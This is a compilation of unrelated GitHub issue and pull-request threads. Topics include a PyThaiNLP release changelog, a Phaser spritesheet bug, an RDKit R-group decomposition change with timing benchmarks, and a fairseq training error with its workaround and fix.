[WIP] PyThaiNLP 4.1 Change Log

Schedule

First Beta release: 24 July 2023
Production release: XX August 2023 - X September 2023

See 4.1 Milestone.
What is new?
Deprecation and other API changes

https://github.com/PyThaiNLP/pythainlp/commit/5e97e7c4ebcf68bca64e4f942c8dfe3a5ab2ebc5  Change the default NER to thainer-v2

New API

Add pythainlp.coref: Add pythainlp.coref for support Thai Coreference resolution #802
Add wtpsplit to sentence segmentation & paragraph segmentation #804  and add paragraph_threshold into paragraph_tokenize function #806
Add word approximation to pythainlp.soundex.sound by @wannaphong in https://github.com/PyThaiNLP/pythainlp/pull/809
Add pythainlp.wsd for Thai Word Sense Disambiguation by @wannaphong in https://github.com/PyThaiNLP/pythainlp/pull/818
Add pythainlp.chat and WangChanGLM to pythainlp.generate by @wannaphong in https://github.com/PyThaiNLP/pythainlp/pull/819
Add a param-free classification model (pythainlp.cls) by @c4n in https://github.com/PyThaiNLP/pythainlp/pull/821
Add pythainlp.el by @wannaphong in https://github.com/PyThaiNLP/pythainlp/pull/822

Tokenizer

Add wtpsplit engine to sentence_tokenize #804
New paragraph_tokenize funtion to split Thai text to a paragraph. #804
add paragraph_threshold into paragraph_tokenize function by @pavaris-pm in https://github.com/PyThaiNLP/pythainlp/pull/806

Translate

Add small100 to pythainlp.translate by @wannaphong in https://github.com/PyThaiNLP/pythainlp/pull/815

Corpus

Add orst list by @wannaphong in https://github.com/PyThaiNLP/pythainlp/pull/810

Util

Add pythainlp.util.encoding by @wannaphong in https://github.com/PyThaiNLP/pythainlp/pull/813
Add pythainlp.util.spell_words by @wannaphong in https://github.com/PyThaiNLP/pythainlp/pull/817

New Contributors

@pavaris-pm made their first contribution in https://github.com/PyThaiNLP/pythainlp/pull/806

The next beta release of PyThaiNLP 4.1  will release after end hacktoberfest 2023.

PyThaiNLP have major change about tokeinzer, so the next release of PyThaiNLP will change to PyThaiNLP v5.0!


SFTP or FTPS support

Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
for secure file upload/download, SFTP or FTPs protocol support is needed.
Describe the solution you'd like
A clear and concise description of what you want to happen.
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.

Hi @bitwq , SFTP or FTPS are not on our roadmap. There are third party implementation such as wolfSSL: https://www.wolfssl.com/products/wolfssh/


Create issue templates

As the title says, we should create some issue templates to get useful bug reports.
Some inspiration can be found here: https://github.com/cfug/diox/tree/main/.github/ISSUE_TEMPLATE

Fixed in https://github.com/Baseflow/screenrecorder/commit/c7b05024ed0ac539163c1499e26fe97f06ec3332


pma-voice wont work ingame

i have updated fiveM files
i have double checked my firewall and no issues there
the script is working fine when opening up the CMD and no errors were shown
so im guessing some issue with the configs i have down
i cant hear anyone talk and no one can hear me, no animation and the is talking above the ID and on the side showing who is talking wont show up for the other person just myself so not sure whats going on
setr voice_useNativeAudio true
setr voice_useSendingRangeOnly true
setr voice_defaultVolume 0.3
setr voice_defaultRadio CAPITAL
setr voice_enableRadioAnim 1
setr voice_syncData 1
set sv_requestParanoia 3

Can't reproduce this at all so I have no idea what the issue is.


Allow setting the text of the current component

This will allow consistency with the documentation and also makes more sense. Current discussion exists as comments on #41.

Looks good, merged.


Bug when no frameMax parameter is specified to Loader.spritesheet

This bug occurs only from the 1680th frame in the spritesheet
This is a bug in the API:

Phaser version(s): 2.6.2
Live example: https://chezsoi.org/lucas/phaserjs_spritesheet_bug_repro.html?1767
What should happen: without the ?1767 query string fixing the frameMax parameter to Loader.spritesheet, the same sprite should be displayed
What happens instead: when no frameMax is passed to Loader.spritesheet (default value is -1), the first sprite of the spritesheet is displayed instead. But all is fine if we try to render the sprite before (1679th one)

There is the code used in the live example:
window.onload = function () {
  var game = new Phaser.Game(800, 600, /*renderer=*/Phaser.AUTO, /*parent=*/'',
                             /*state=*/{preload: preload, create: create},
                             /*transparent=*/false, /*antialias=*/false)

  function preload() {
    // Test with ?1767 query string
    var frameMax = window.location.search ? +window.location.search.substring(1) : -1
    game.load.spritesheet('MySpritesheet', './roguelikeSheet_transparent.png', 16, 16,
                          /*frameMax=*/frameMax, /*margin=*/0, /*space=*/1)
  }

  function create() {
    // The following will render the first tile if loaded with frameMax=-1, whereas 1679 is OK
    var sprite = game.add.sprite(game.world.centerX, game.world.centerY, 'MySpritesheet', 1680)
    sprite.anchor.setTo(0.5)
    sprite.scale.setTo(4)
  }
}

The API function called is Loader.spritesheet, but I think the issue relies in AnimationParser.spriteSheet

game.load.spritesheet('MySpritesheet', './roguelikeSheet_transparent.png', 16, 16, /frameMax=/frameMax, /margin=/0, /space=/1)

Does this work as expected if you use margin = -1, space = 1?

Yes, this would give the correct result result mathematically:
var row = Math.floor((width - margin) / (frameWidth + spacing))
        = Math.floor((985 - (-1)) / (16 + 1))
        = Math.floor(56) = 56
var row = Math.floor((width - margin) / (frameWidth + spacing))
        = Math.floor((526 - (-1)) / (16 + 1))
        = Math.floor(31) = 31

However, this is still a bug !
Passing -1 as margin is hackish.
The reason why I added the + spacing in the formula is geometrical.

I think spacing implies the same length on the exterior edges as well. If that's absent, you do need a negative margin.
The definition is unclear, and it may not be the best one, but since it's always worked this way, I'd rather just change the documentation to explain it better. I'm open to feedback though.
margin = -1, spacing = 1

margin = 0, spacing = 1

margin = 1, spacing = 1

I dislike the negative margin concept, but I don't have any strong argument against simply clarifying this in the documentation.

So according to the code,
expected width = margin + rows * (frameWidth + spacing)

expected height = margin + cols * (frameHeight + spacing)

So that would give a layout something like
5px : mfsfs     margin=1 spacing=1
7px : mfssfss   margin=1 spacing=2
9px : mfsssfsss margin=1 spacing=3

Corrected the docs (3fd72cc). Thanks @Lucas-C


More info in the all apps section

When we have several apps, it's a pain to go through them checking for crashes. Can you please put some sort of crash summary for each app in the ALL APPS section of the dashboard.

Hi @BillyMartin1964 - thanks for the feedback! I can definitely see this being useful for developers with multiple apps (especially cross-platform apps). Due to other priorities, this isn't currently on our roadmap but I will monitor this feature request for community support and prioritize appropriately.
Thanks!

Any update regarding this feature? I was about to open a ticket to at least show the latest build status in the all-apps view. This is a small feature but it's extremely useful! We have 18 apps in total and this will help alot. Thank you in advance.

@halgadaibi no updates at the moment. We would love to have some sort of dashboard in the future but unfortunately, due to other priorities right now, we don't have any immediate plans to build this. We will continue to monitor this feature request and post updates if we have any. Feel free to check out our roadmap and iteration plans to see what our team is working on.
Thanks!


PHOENIX-4918 Apache Phoenix website Grammar page is running on an old…

… version

@yanxinyi I merged this on all the active branches about 3 weeks ago. I see that the commit has caught some error https://github.com/apache/phoenix/blob/4.x-HBase-1.3/docs/phoenix.csv which was not there earlier https://github.com/apache/phoenix/blob/4.x-HBase-1.2/docs/phoenix.csv.  Could you please fix it? It should be something simple of removing an unwanted quote etc.
Thank you.


fix: Show deployment comments in app-configs:deploy command

app-configs:deploy failed deployment error

:tada: This PR is included in version 2.3.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


0.6.2 contained breaking changes and should be yanked.

The dependency update published in 0.6.2 contains multiple breaking changes. 0.6.2 should be yanked, and 0.7.0 released instead.
Here are the breaking changes I noticed (there may be others):

chrono 0.2 was updated to 0.4. This breaks the DateTime types used in the API of this crate.
hmac and sha2 both depend on generic-array, and they were bumped to 0.8. It seems that even though the API isn't exposed, having generic-array 0.7 and 0.8 in the build breaks it. This makes using rust-s3 together with any crate that depends on generic-array 0.7 to break.

Yanked and pushed 0.7.0, @golddranks thank you for the report, and sorry for the trouble, it was a misstep on my part :(

No problem, thanks for fast support!


Node.js bindings: Add JavaScript bindings for UART

This patch provides native and highlevel JavaScript bindings
for UART. Also, it adds enum-string translation functions to
soletta.
This replaces #1804
Signed-off-by: Sudarsana Nagineni<EMAIL_ADDRESS>Signed-off-by: Srinivasa Ragavan<EMAIL_ADDRESS>

@gabrielschulhof Addressed all review comments and also added bindings for enum-string translation functions.  PTAL. thanks!

@glima @ibriano @barbieri

:+1: after a rebase.

Closed this in 69881989e9a5f881395a7b165d45e89ee83e5138


Implement ES6 support

Resolve https://github.com/rumpl/depcheck/issues/21 .

Any update on this?

@gtanner Thanks for your comment. I push a fix and add covering test for your case.

Any updates on this one? We're all pretty excited for this feature :)

Hi,
Because we do not get a response from @rumpl . I decide to rename the fork to depcheck-es6 and continuously maintain by myself.
If you get any issue, open issues on my fork.
I will publish the new build to NPM soon.

Awww yeahh :100: Thanks @lijunle! Any idea when we'll see this on npm?


[FEATURE] - Wildcards for trusted Wifi

It would be nice to use wildcards in the trusted wifi names. Eg ABC* for Wifi names ABCD & ABCE

Will test this once it hits beta testers on Play Store release ☺


Update README.md with correct spelling

This PR is linked to the issue I created. It fixes the spelling of programme to program.

@SmashedFrenzy16 Program is a valid spelling in all versions of English apart from British English (e.g. Canadian, American, Australian). Therefore foreign users will not see an issue with this.

Conflicts with original after edits, will still take the advice though

@CodeMaster7000, still, I feel that this change should be made.

@SmashedFrenzy16 After all, it is a minor change and a debatable concept. You could consider fixing up a different README.

@CodeMaster7000 i did not mean it like that. I know he approved my changes but I just found it better if it was program. @ShashCode2348 does not have to merge if he does not want to.

But I understand what you are saying as well.


fix /* router supported for handler of package ghttp; fix json tag name issue when it contains , for package goai; add proxy example for http server

Codecov Report
Base: 78.11% // Head: 78.12% // Increases project coverage by +0.00% :tada:

Coverage data is based on head (d9cea8f) compared to base (7d1a508).
Patch coverage: 100.00% of modified lines in pull request are covered.

Additional details and impacted files
@@           Coverage Diff           @@
##           master    #2294   +/-   ##
=======================================
  Coverage   78.11%   78.12%
=======================================
  Files         583      583
  Lines       48448    48447    -1
=======================================
+ Hits        37844    37847    +3
+ Misses       8592     8589    -3
+ Partials     2012     2011    -1

Flag
Coverage Δ

go-1.15-386
78.16% <100.00%> (+0.02%)
:arrow_up:

go-1.15-amd64
78.14% <100.00%> (+0.02%)
:arrow_up:

go-1.16-386
78.14% <100.00%> (+<0.01%)
:arrow_up:

go-1.16-amd64
78.15% <100.00%> (+0.01%)
:arrow_up:

go-1.17-386
78.13% <100.00%> (+0.01%)
:arrow_up:

go-1.17-amd64
78.09% <100.00%> (-0.03%)
:arrow_down:

go-1.18-386
78.05% <100.00%> (-0.01%)
:arrow_down:

go-1.18-amd64
78.05% <100.00%> (+0.02%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

net/ghttp/ghttp.go
100.00% <ø> (ø)

net/ghttp/ghttp_server_handler.go
64.14% <ø> (+0.11%)
:arrow_up:

util/gconv/gconv.go
93.84% <ø> (ø)

net/ghttp/ghttp_response.go
37.64% <100.00%> (ø)

net/ghttp/ghttp_response_writer.go
100.00% <100.00%> (ø)

net/ghttp/ghttp_server_router.go
81.94% <100.00%> (-0.10%)
:arrow_down:

net/goai/goai_parameter_ref.go
81.66% <100.00%> (+0.96%)
:arrow_up:

net/goai/goai_shema.go
71.32% <100.00%> (+0.20%)
:arrow_up:

os/gfsnotify/gfsnotify_watcher_loop.go
84.87% <0.00%> (+1.68%)
:arrow_up:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Download data button no longer works, appears to Vehicle type related

User report and confirmed:

I can't tel where Download Data is getting its SQL, but I imagine it might be a different place to which we didn't know to add vehicle type queries?

Fixed and deployed.


Feature sql breaker

1.dbrouter: add read/write timeout in sqlx and gorm
2.dbrouter: add breaker in sql query
3.cache: optimize cache expire time when get data from backend database failed

LGTM


Do not add unnecessary R-labels (and an optimization)

use a boost::dynamic_bitset rather than a std::set for lookups
I replaced a std::set which was being used for lookups with a dynamic_bitset as it is more efficient. We consistently use dynamic_bitset for this purpose all over the RGD code, but apparently we missed this one.

do not add unnecessary R-labels
While testing the RGD code on some internal datasets I ran into two cases that I believe were yielding suboptimal results when onlyMatchAtRGroups=false, because unnecessary R labels were being dynamically added.
Both are addressed by the new testDoNotAddUnnecessaryRLabels() and I will illustrate them below.

There is a single core

while the molecules are

Before this PR, the code would not make a difference between assigning a H substituent vs a heavy atom substituent to user-defined or dynamically added labels.
The scoring function, when evaluating the various permutations, would then choose the permutation which adds the smallest number of labels, and so would choose the solution that yields only R1 and R2, with zero added labels.
However, when running with NoSymmetrization, in the situation above you end up with three labels (R1, R2, R3), since a single permutation is retained:

{'Core': ['c1ncc([*:3])c([*:2])c1[*:1]',
  'c1ncc([*:3])c([*:2])c1[*:1]',
  'c1ncc([*:3])c([*:2])c1[*:1]',
  'c1ncc([*:3])c([*:2])c1[*:1]'],
 'R1': ['F[*:1]', 'Cl[*:1]', 'O[*:1]', '[H][*:1]'],
 'R2': ['[H][*:2]', 'C[*:2]', '[H][*:2]', 'C[*:2]'],
 'R3': ['[H][*:3]', '[H][*:3]', '[H][*:3]', 'F[*:3]']}

There is a simple fix for this, which is filtering out all degenerate matches that would require adding a label whenever there is the possibility to choose an alternative degenerate match that does not require adding a label, because it accommodates all heavy substituents into existing labels, rather than assigning one of the existing labels to H and adding another label for the other heavy substituent. This fix has a negligible impact on performance.

There are two cores:

while the molecules are

Even though the first molecule matches the first core and does not require adding any label, before this PR both molecules would be associated to the second core:

{'Core': ['c1cc([*:1])c([*:3])cc1[*:4]', 'c1cc([*:1])c([*:3])cc1[*:4]'],
 'R1': ['Cl[*:1]', 'Br[*:1]'],
 'R3': ['C[*:3]', 'C[*:3]'],
 'R4': ['F[*:4]', '[H][*:4]']}

This happens because the first core already matches (with 2 additional labels), and the second core is never even tried, thus yielding a rather unexpected result, as labels should only be added when there is no better alternative.
After this PR, the expected result is generated:
{'Core': ['Fc1ccc([*:2])c([*:1])c1', 'c1ccc([*:3])c([*:1])c1'],
 'R1': ['C[*:1]', 'C[*:1]'],
 'R2': ['Cl[*:2]', ''],
 'R3': ['', 'Br[*:3]']}

where the first molecule is associated to the first core, and a single additional label is added to the second core to accommodate the second molecule.
I do realize that this fix requires probing all available cores rather than just picking the first that matches so is more expensive, but I believe getting the expected result is preferable to getting a suboptimal result, though a bit faster.

This happens because the first core already matches (with 2 additional labels), and the second core is never even tried, thus yielding a rather unexpected result, as labels should only be added when there is no better alternative.
After this PR, the expected result is generated:

{'Core': ['Fc1ccc([*:2])c([*:1])c1', 'c1ccc([*:3])c([*:1])c1'],
 'R1': ['C[*:1]', 'C[*:1]'],
 'R2': ['Cl[*:2]', ''],
 'R3': ['', 'Br[*:3]']}

where the first molecule is associated to the first core, and a single additional label is added to the second core to accommodate the second molecule.
I do realize that this fix requires probing all available cores rather than just picking the first that matches so is more expensive, but I believe getting the expected result is preferable to getting a suboptimal result, though a bit faster.

Assuming I understand this correctly, I disagree: I think being able to say: "the cores are matched in the order provided and the code takes the first one that matches" is really helpful and makes the results more predictable. It's pretty straightforward for client code to reorder the cores to get the behavior you're looking for with this behavior change.

Fixing the behavior in your bullet point 1., on the other hand, makes sense to me.

Assuming I understand this correctly, I disagree: I think being able to say: "the cores are matched in the order provided and the code takes the first one that matches" is really helpful and makes the results more predictable. It's pretty straightforward for client code to reorder the cores to get the behavior you're looking for with this change.

@greglandrum Thanks for the review. I see the source of your concern, but my change does not impact on the core ordering - the order is still taken into account (and I do agree this is very important). Before the end of the morning I will come up with a better example (that I will include as a test case) that explains how the change works and how I think this improves the previous behavior.

@greglandrum I have added a test to better illustrate my point and I will explain it below.
The algorithm still honors the ordering of cores. It will look for the first core in the order provided that matches the molecule without requiring adding labels. I think this is exactly the behavior that we want.
I have put together another example to illustrate my point.
Say that we have 3 cores, in this order:

And these 5 molecules:

Note that I have moved the core with fluorine at the first place, as you suggested.
The current master code will now yield these results, which I still think are suboptimal (I would be tempted to say "wrong"):

The first molecule now correctly picks the first core, as it now the first choice.
However, the second molecule picks the second core, because it is the first that matches in the order provided. As a result, R3 and R4 are added.
To avoid this, I could have inverted the order of the second and third core:

but this would cause the third molecule to also pick the disubstituted core, while the monosubstituted core, being last, would never be picked:

This means that I cannot achieve an optimal RGD by simply reordering the cores.
Instead, with the code in my PR, I can use this core ordering

and get the results that I expect, with a single added R label rather than two, which are unnecessary:

In summary, this is how the new algorithm works:

cores are tried in the provided order
for each core, the number of additional labels required to accommodate the molecule is recorded
as soon as a core that requires no additional labels to accommodate the molecule is found, this core is accepted as no better core can be found
After all cores are tried, the first core in the provided order that requires the smallest number of additional R labels is picked

I hope this make sense to you and you agree this is the most desirable behavior.

Here's a couple of benchmarks I ran on an internal dataset with 25 cores and 7805 molecules.
The current PR speeds up RGD with onlyMatchAtRGroups=True by a factor >2. I believe most of the gain comes from early pruning of unnecessary symmetries (point 1 above).
Current master timings with onlyMatchAtRGroups=True
%%timeit
params = RGroupDecompositionParameters()
params.onlyMatchAtRGroups = True
params.alignment = RGroupCoreAlignment.NoAlignment
RDLogger.DisableLog("rdApp.warning")
rgd = RGroupDecomposition(cores_r_groups, params)
n_accepted = 0
for m in mols:
    if (rgd.Add(m) != -1):
        n_accepted += 1
rgd.Process()
RDLogger.EnableLog("rdApp.warning")
print("n_accepted", n_accepted)

n_accepted 4818
20.3 s ± 486 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)

Current master timings with onlyMatchAtRGroups=False
%%time
params = RGroupDecompositionParameters()
params.onlyMatchAtRGroups = False
params.alignment = RGroupCoreAlignment.NoAlignment
RDLogger.DisableLog("rdApp.warning")
rgd = RGroupDecomposition(cores_r_groups, params)
n_accepted = 0
for m in mols:
    if (rgd.Add(m) != -1):
        n_accepted += 1
rgd.Process()
RDLogger.EnableLog("rdApp.warning")
print("n_accepted", n_accepted)

n_accepted 5062
1min 59s ± 1.43 s per loop (mean ± std. dev. of 7 runs, 1 loop each)

This PR timings with onlyMatchAtRGroups=True
%%timeit
params = RGroupDecompositionParameters()
params.onlyMatchAtRGroups = True
params.alignment = RGroupCoreAlignment.NoAlignment
RDLogger.DisableLog("rdApp.warning")
rgd = RGroupDecomposition(cores_r_groups, params)
n_accepted = 0
for m in mols:
    if (rgd.Add(m) != -1):
        n_accepted += 1
rgd.Process()
RDLogger.EnableLog("rdApp.warning")
print("n_accepted", n_accepted)

n_accepted 4818
21.2 s ± 253 ms per loop (mean ± std. dev. of 7 runs, 1 loop each)

This PR timings with onlyMatchAtRGroups=False
%%time
params = RGroupDecompositionParameters()
params.onlyMatchAtRGroups = False
params.alignment = RGroupCoreAlignment.NoAlignment
RDLogger.DisableLog("rdApp.warning")
rgd = RGroupDecomposition(cores_r_groups, params)
n_accepted = 0
for m in mols:
    if (rgd.Add(m) != -1):
        n_accepted += 1
rgd.Process()
RDLogger.EnableLog("rdApp.warning")
print("n_accepted", n_accepted)

n_accepted 5062
48.5 s ± 1.31 s per loop (mean ± std. dev. of 7 runs, 1 loop each)

Ok, Paolo and I just talked offline and I think I understand the goal here. I would express it a bit differently than Paolo did, so let me try that and he can check whether or not he agrees with my statement.
The current behavior (on master and in the previous releases) of the RGD code is to use the first scaffold which matches a molecule. The second part of this PR changes that so that the code uses the first scaffold which adds/uses the least number of  non-user-provided R groups. Among other things, this allows the code to provide the same results for both onlyMatchAtRGroups =true and onlyMatchAtRGroups=false when suitable scaffolds are present without requiring the user to get overly concerned about the ordering of the scaffolds.

Correct, that summarizes it nicely. I have tested this scenario on an internal dataset with 25 cores and 7805 molecules.
When I run it with onlyMatchAtRGroups=true 4818 molecules are accepted.
When I run it with onlyMatchAtRGroups=false 5062 molecules are accepted.
With this PR in place, if I compare the 4818 molecules which are present in both RGDs, they are identical in terms of associated cores and extracted R-groups, without having to change the ordering of the cores between the two runs, which is where I wanted to be,
Instead, with the current master code, I end up with 55 of the 4818 common molecules being associated to a different core and R-groups in the RGD run with onlyMatchAtRGroups=false compared to the former.

LGTM
@jones-gareth : do you agree with the behavior change being proposed?

These changes are good- they both favor user defined R groups which is what we want.
The first change of pruning suboptimal matches from single cores would have prevented many of the scoring function issues in the previous CRs (though it's good they're fixed!).  Could give considerable speed up for symmetric cores.
The new behavior for multiple cores makes sense.  I've never come across that issue as I've normally used multiple cores for matching different generic scaffolds.  Assuming we're all happy with the change this LGTM.

It makes total sense to use the best matching scaffold.  I think we were
just being greedy before.
On Wed, Mar 24, 2021 at 10:58 AM Gareth Jones @.***>
wrote:

LGTM
@jones-gareth https://github.com/jones-gareth : do you agree with the
behavior change being proposed?
These changes are good- they both favor user defined R groups which is
what we want.
The first change of pruning suboptimal matches from single cores would
have prevented many of the scoring function issues in the previous CRs
(though it's good they're fixed!). Could give considerable speed up for
symmetric cores.
The new behavior for multiple cores makes sense. I've never come across
that issue as I've normally used multiple cores for matching different
generic scaffolds. Assuming we're all happy with the change this LGTM.
—
You are receiving this because your review was requested.
Reply to this email directly, view it on GitHub
https://github.com/rdkit/rdkit/pull/3969#issuecomment-805891647, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/ACLOFICKIOIFL5ZXXNT67NTTFH4ZDANCNFSM4ZWCUHRA
.


fix: fix broken link in state management section

This fixes time travel debugging demo gif broken link for #2892 issue.

Please kindly review my pull request @NataliaTepluhina, thank you!


Display the same warning for every single files

Not sure if I did something wrong, but having one warning on my project (inside ./src/libs/Dict.re file) will actually display it as many time as I have files inside the project minus one, the file actually having the warning. Running yarn start.
Compiled with warnings.

./src/frontend/account/Login.re
Warning number 27
  /Users/pauldijou/Work/projects/adlm/src/libs/Dict.re 13:12-16

  11 │     switch (get(key, dict) |> updater) {
  12 │     | None => dict
  13 │     | Some(value) => dict
  14 │     };
  15 │ };

  unused variable value.

./src/index.re
Warning number 27
  /Users/pauldijou/Work/projects/adlm/src/libs/Dict.re 14:15-17

  12 │     };
  13 │
  14 │ let remove = (key, dict) => {
  15 │     /* if (has(key, dict)) {
  16 │         Js.Dict.unsafeDeleteKey(dict, key);

  unused variable key.

./src/app.re
Warning number 27
  /Users/pauldijou/Work/projects/adlm/src/libs/Dict.re 14:15-17

  12 │     };
  13 │
  14 │ let remove = (key, dict) => {
  15 │     /* if (has(key, dict)) {
  16 │         Js.Dict.unsafeDeleteKey(dict, key);

  unused variable key.

./src/libs/Html.re
Warning number 27
  /Users/pauldijou/Work/projects/adlm/src/libs/Dict.re 14:15-17

  12 │     };
  13 │
  14 │ let remove = (key, dict) => {
  15 │     /* if (has(key, dict)) {
  16 │         Js.Dict.unsafeDeleteKey(dict, key);

  unused variable key.

./src/libs/Events.re
Warning number 27
  /Users/pauldijou/Work/projects/adlm/src/libs/Dict.re 14:15-17

  12 │     };
  13 │
  14 │ let remove = (key, dict) => {
  15 │     /* if (has(key, dict)) {
  16 │         Js.Dict.unsafeDeleteKey(dict, key);

  unused variable key.

Search for the keywords to learn more about each warning.
To ignore, add // eslint-disable-next-line to the line before.

Thanks for this find! We're currently working on a solution that will fix this, and should be out with version 1.0. I'll update this issue when I have a 1.0 alpha you can try


Cannot discover on Pixel Google assistant

Followed the normal discovery process.
Running version 4.1.4  of habridge
Android 7.1.2 beta
Please let me know what logging you need to troubleshoot

Do you have a physical Google Home device?
I think just like the Amazon Alexa app, you may not be able to discover the ha-brigde without a physical device.

FYI: https://github.com/bwssytems/ha-bridge/wiki/HA-Bridge-FAQs#device

True, no physical Google Home device.
Now that Google Assistant on Pixel supports Home Control I was hoping for this to work.

a physical google home searches on port 80.  "creating the web address"

Yeah, this project currently requires a physical device.

Did you try the assistant with a 'real' Hue bridge?

You must have a physical Google home to discover the bridge

I feel this thread is sufficiently answered...closing.


MMA code with latency_augmented_label_smoothed_cross_entropy does NOT work

Hi! I am trying to train a model with MMA policy following the instruction in the tutorial
https://github.com/pytorch/fairseq/blob/master/examples/speech_to_text/docs/simulst_mustc_example.md
I have updated the code as there have been several commits on MMA but it still does not work. This is the log of the error:
2021-05-12 16:15:03 | INFO | fairseq.trainer | begin training epoch 1
2021-05-12 16:15:03 | INFO | fairseq_cli.train | Start iterating over samples
/home/fonorato/anaconda3/envs/myenv/lib/python3.8/site-packages/torch/utils/data/dataloader.py:474: UserWarning: This DataLoader will create 8 worker processes in total. Our suggested max number of worker in current system is 1, which is smaller than what this DataLoader is going to create. Please be aware that excessive worker creation might get DataLoader running slow or even freeze, lower the worker number to avoid potential slowness/freeze if necessary.
warnings.warn(_create_warning_msg(
Traceback (most recent call last):
File "/home/fonorato/anaconda3/envs/myenv/bin/fairseq-train", line 33, in
sys.exit(load_entry_point('fairseq', 'console_scripts', 'fairseq-train')())
File "/home/fonorato/fairseqSLT/fairseq_mio/fairseq_cli/train.py", line 500, in cli_main
distributed_utils.call_main(cfg, main)
File "/home/fonorato/fairseqSLT/fairseq_mio/fairseq/distributed/utils.py", line 369, in call_main
main(cfg, **kwargs)
File "/home/fonorato/fairseqSLT/fairseq_mio/fairseq_cli/train.py", line 177, in main
valid_losses, should_stop = train(cfg, trainer, task, epoch_itr)
File "/home/fonorato/anaconda3/envs/myenv/lib/python3.8/contextlib.py", line 75, in inner
return func(*args, **kwds)
File "/home/fonorato/fairseqSLT/fairseq_mio/fairseq_cli/train.py", line 288, in train
log_output = trainer.train_step(samples)
File "/home/fonorato/anaconda3/envs/myenv/lib/python3.8/contextlib.py", line 75, in inner
return func(*args, **kwds)
File "/home/fonorato/fairseqSLT/fairseq_mio/fairseq/trainer.py", line 669, in train_step
loss, sample_size_i, logging_output = self.task.train_step(
File "/home/fonorato/fairseqSLT/fairseq_mio/fairseq/tasks/fairseq_task.py", line 475, in train_step
loss, sample_size, logging_output = criterion(model, sample)
File "/home/fonorato/anaconda3/envs/myenv/lib/python3.8/site-packages/torch/nn/modules/module.py", line 889, in _call_impl
result = self.forward(*input, **kwargs)
File "/home/fonorato/fairseqSLT/fairseq_mio/fairseq/criterions/label_smoothed_cross_entropy.py", line 80, in forward
loss, nll_loss = self.compute_loss(model, net_output, sample, reduce=reduce)
File "/home/fonorato/fairseqSLT/fairseq_mio/fairseq/criterions/label_smoothed_cross_entropy_latency_augmented.py", line 95, in compute_loss
attn_list = [item["alpha"] for item in net_output[-1]["attn_list"]]
TypeError: tuple indices must be integers or slices, not str
Can you help?
Thanks in advance

Hi, I ran into the same error and was able to resolve it by reverting to commit 252d5a9ae93e68254cfb1896fb5624cf11cda15e. (I'm not sure when exactly this starts to give this error, just picked an early enough commit)

Hi, I got same issue, and resolve it.
move into "fairseq\fairseq\criterions\label_smoothed_cross_entropy_latency_augmented.py"
and do like this:
attn_list = [item["alpha"] for item in net_output[-1]["attn_list"]]->  attn_list = [item["alpha"] for item in net_output[-1]._asdict()["attn_list"]
source_padding_mask = net_output[-1].get("encoder_padding_mask", None)  -> source_padding_mask = net_output[-1]._asdict()["encoder_padding_mask"]
I'm not sure it is correct answer; but it is is work.

Hi, I got same issue, and resolve it.
move into "fairseq\fairseq\criterions\label_smoothed_cross_entropy_latency_augmented.py"
and do like this:
attn_list = [item["alpha"] for item in net_output[-1]["attn_list"]]->  attn_list = [item["alpha"] for item in net_output[-1]._asdict()["attn_list"]
source_padding_mask = net_output[-1].get("encoder_padding_mask", None)  -> source_padding_mask = net_output[-1]._asdict()["encoder_padding_mask"]
I'm not sure it is correct answer; but it is work.

Same problem..Anyone solved it sucucessfully?

Hi, I got same issue, and resolve it.
move into "fairseq\fairseq\criterions\label_smoothed_cross_entropy_latency_augmented.py"
and do like this:
attn_list = [item["alpha"] for item in net_output[-1]["attn_list"]]->  attn_list = [item["alpha"] for item in net_output[-1]._asdict()["attn_list"]

Hi, Thanks for sharing your method, it worked, but I met another problem after changing the code, which is " Only right padding is allowed",did you met the same problem?,Thanks in advance

Hey @kahne, @xutaima ! I was wondering if there is any progress on this issue? Is the official code still broken, or can we use it?

Hi, https://github.com/pytorch/fairseq/commit/98d638c70cdbe751153c10fc571c34beac228347 is a fix for this issue. Feel free to let me know if there is any more questions.

Thanks @xutaima ! Greatly appreciated! Will you also be able to look at #3414 soon? It also blocks people to use the code and replicate the results :)


May I ask why the training stopped after the FID calculation was completed?

ake_seq: 1.077584, lossG_fake_img: 0.687996, lossG_overlap_fake: 0.000686, lossG_overlap_real: 0.003858,
sampling for testing data
calculating FID
100%|██████████████████████████████████████████████████████████████████████████████████████████████████████| 47/47 [00:28<00:00,  1.68it/s]
100%|████████████████████████████████████████████████████████████████████████████████████████████████████| 100/100 [01:31<00:00,  1.10it/s]

It seems a bug from pytorch-fid, which makes the code stop running. Could you try to debug by first removing the FID calculation?

It seems a bug from pytorch-fid, which makes the code stop running. Could you try to debug by first removing the FID calculation?

I've commented this out, it's still stuck, and it stops after one epoch


Add, update, and delete examples of a specified Rasa intent

AS A Trainer
I WANT TO add, update and delete examples of a specific Rasa intent
SO THAT I could manipulate training data and models based on it
Acceptance Criteria

See temporary list of related API endpoints

List of intents - https://koodivaramu.eesti.ee/buerokratt/plug-and-play/rasa-ilmateenused/-/tree/main/data/nlu

Sample YAML file with intents and their examples - https://koodivaramu.eesti.ee/buerokratt/plug-and-play/rasa-ilmateenused/-/blob/main/data/nlu/common_teenus_ilm_nlu.yml

List examples of a specified intent

[ ] Use POST service /intents/examples to list all examples of a specified intent
[ ] Examples of a specified intent are fetched from an appropriate YAML file

Add new examples

[ ] POST service /intents/examples/add to add new examples
[ ] Multiple examples can be used as input
[ ] Duplicate examples can not be added
[ ] Changes apply on an appropriate YAML file
[ ] Limit example length as a hardcoded value in Ruuter DSL
[ ] Intent release ban if the minimum amount of examples is not exceeded is set as a hardcoded value in Ruuter DSL

Update existing examples

[ ] POST service /intents/examples/update to update examples of an existing intent
[ ] New value may not be a duplicate of an already existing one
[ ] Changes apply on an appropriate YAML file

Delete existing examples

[ ] POST service /intents/examples/delete to delete a specified example of an existing intent
[ ] Changes apply on an appropriate YAML file

list /intents/examples works with OpenSearch and it is described in this task https://github.com/buerokratt/Training-Module/issues/78

i added endpoint for fetching examples from files.
